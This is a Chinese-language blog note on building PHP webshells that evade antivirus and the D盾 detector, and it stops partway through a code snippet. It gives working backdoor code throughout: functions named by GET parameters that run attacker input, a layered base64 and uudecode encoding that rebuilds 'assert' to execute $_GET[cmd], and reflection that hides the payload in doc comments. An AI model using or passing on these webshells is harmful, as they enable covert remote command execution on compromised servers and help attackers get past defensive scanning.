webshell免杀思路
常见的代码执行函数
- php代码:eval assert create_function call_user_function call_user_function_array array_walk array_filter array_map usort uasort preg_replace----正则这一类有很多 array_reduce array_udif等
- 操作系统命令:system exec shell_exec passthru popen obstart proc_open `your code` mail+LD_RELOAD
在这申明,我不是抄的,这里的代码都是我手打验证了的国光大师傅的文章再记录下来的 戳这里 原文总结的更加丰富!!
一、组合变量+类
foreach (array('_GET') as $_request){
foreach ($$_request as $_keeeeeeey =>$_vaaaaalue){
$$_keeeeeeey = $_vaaaaalue;
$_keeeeeeey($$_keeeeeeey);
}
}
class test{
public function __construct($arg)
{
echo "666666";
echo $arg;
}
}
$c=new test('12345');
//这里我们还可以利用substr substr_replace这一类截取字符串的函数对变量进行组合
字符处理函数
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。
这里下面的类不重要,有就行!!!可以起到混淆的作用,可以过D盾
二、多重编码
<?php
$a='a';
$c=convert_uudecode('05UAP3U0R2DA4;E965D1!.0`` `');
echo "<br/>";
$b=base64_decode(base64_decode(base64_decode($c)));
$c=$a.$b;
$c($_GET[cmd]);
就无限套娃,各种编码就往上套
三、反射类获取文档注释中的内容
<?php
/**
* 05UAP3U0R2DA4;E965D1!.0`` `
*/
class test{
public function aaa(){
}
}
$a='a';
$reflect=new ReflectionClass('test');
$shell=substr(($reflect->getDocComment()),8,28);
$b=base64_decode(base64_decode(base64_decode(convert_uudecode($shell))));
$c=$a.$b.'ddddddddddddddddgggggggggadsf';
$k=substr($c,0,6);
foreach (array('_GET') as $_request){
foreach ($$_request as $_keeeeeeey =>$_vaaaaalue){
$$_keeeeeeey = $_vaaaaalue;
$k($$_keeeeeeey);
}
}
反射类,不太懂诶!!
四、反射类获取单个常量
Class test{
const a='as';
const b='se';
const c='rt';
public function __construct(){
}
}
$para1=''